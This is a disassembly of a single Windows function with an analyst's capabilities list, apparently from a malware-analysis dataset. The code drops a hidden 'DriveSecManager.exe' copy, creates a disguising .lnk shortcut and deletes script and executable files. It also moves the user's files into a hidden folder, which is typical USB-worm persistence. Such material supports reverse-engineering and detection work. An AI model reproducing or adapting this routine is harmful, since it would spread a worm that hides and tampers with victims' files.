Function at 0x4066b0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1304
call sub.ntdll.dll__chkstk
mov eax, dword [ebp + 0x10]
and eax, 0x80000
je 0x4066ce
xor al, al
jmp 0x406bb9
mov dword [ebp - 0x824], 0x41430c
mov byte [ebp - 0xc39], 0
mov ecx, dword [ebp + 0xc]
push ecx
push str._s.lnk
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x41113c
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sDriveSecManager.exe
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x41117c
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4067c4
lea eax, [ebp - 0x12a8]
push eax
call fcn.0040e770
add esp, 4
mov dword [ebp - 0x12ac], eax
mov ecx, dword [0x415e50]
cmp ecx, dword [ebp - 0x12ac]
je 0x4067c4
push 0x80
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x12a8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x12a8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406874
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406809
push 0x80
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40683c
push 0
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40683c
push 2
lea ecx, [ebp - 0x1098]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406874
push 0
lea eax, [ebp - 0x12a8]
push eax
push 0x415e58
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406874
push 2
lea ecx, [ebp - 0x12a8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4068ca
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x4068a5
push 9
push 0x411194
lea ecx, [ebp - 0xa30]
push ecx
call fcn.00406460
add esp, 0xc
jmp 0x4068bb
push 8
push str.shell32.dll
lea edx, [ebp - 0xa30]
push edx
call fcn.00406460
add esp, 0xc
push 1
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xe90]
push ecx
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0xffffffff
je 0x406bb3
mov dword [ebp - 0x12f8], str..lnk
mov dword [ebp - 0x12f4], str..vbs
mov dword [ebp - 0x12f0], str..js
mov dword [ebp - 0x12ec], str..scr
mov dword [ebp - 0x12e8], str..com
mov dword [ebp - 0x12e4], str..jse
mov dword [ebp - 0x12e0], str..cmd
mov dword [ebp - 0x12dc], str..pif
mov dword [ebp - 0x12d8], str..jar
mov dword [ebp - 0x12d4], str..dll
mov dword [ebp - 0x12d0], str..vbe
mov dword [ebp - 0x12cc], str..bat
mov dword [ebp - 0x12c8], str..inf
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x12c4], eax
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x12c0], ecx
mov dword [ebp - 0x12bc], str.Thumbs.db
mov dword [ebp - 0x12b8], str._RECYCLE.BIN
mov dword [ebp - 0x12b4], str.desktop.ini
mov dword [ebp - 0x12b0], str.System_Volume_Information
push 0x4112dc
lea edx, [ebp - 0xe64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4069df
push 0x4112e0
lea eax, [ebp - 0xe64]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4069e4
jmp 0x406b8a
mov byte [ebp - 0x12fa], 0
mov dword [ebp - 0x1300], 0
jmp 0x406a06
mov ecx, dword [ebp - 0x1300]
add ecx, 1
mov dword [ebp - 0x1300], ecx
cmp dword [ebp - 0x1300], 6
jae 0x406a3b
mov edx, dword [ebp - 0x1300]
mov eax, dword [ebp + edx*4 - 0x12c4]
push eax
lea ecx, [ebp - 0xe64]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x406a30
jmp 0x4069f7
mov byte [ebp - 0x12fa], 1
jmp 0x406a3b
movzx edx, byte [ebp - 0x12fa]
test edx, edx
je 0x406a4b
jmp 0x406b8a
mov byte [ebp - 0x12f9], 0
mov dword [ebp - 0x1304], 0
jmp 0x406a6d
mov eax, dword [ebp - 0x1304]
add eax, 1
mov dword [ebp - 0x1304], eax
cmp dword [ebp - 0x1304], 0xd
jae 0x406ae4
mov ecx, dword [ebp - 0x1304]
mov edx, dword [ebp + ecx*4 - 0x12f8]
push edx
lea eax, [ebp - 0xe64]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x406a97
jmp 0x406a5e
lea ecx, [ebp - 0xe64]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4112e8
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x12f9], 1
jmp 0x406ae4
movzx eax, byte [ebp - 0x12f9]
test eax, eax
je 0x406af4
jmp 0x406b8a
lea ecx, [ebp - 0x1098]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406b0a
jmp 0x406b8a
lea edx, [ebp - 0xe64]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x4112f4
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0xe64]
push edx
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_s
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov eax, dword [ebp - 0xe90]
and eax, 0x10
je 0x406b74
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0xc38]
push edx
call fcn.00406570
add esp, 8
jmp 0x406b8a
push 9
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xe90]
push edx
mov eax, dword [ebp - 0x109c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4069b3
mov ecx, dword [ebp - 0x109c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xc39]
mov esp, ebp
pop ebp
ret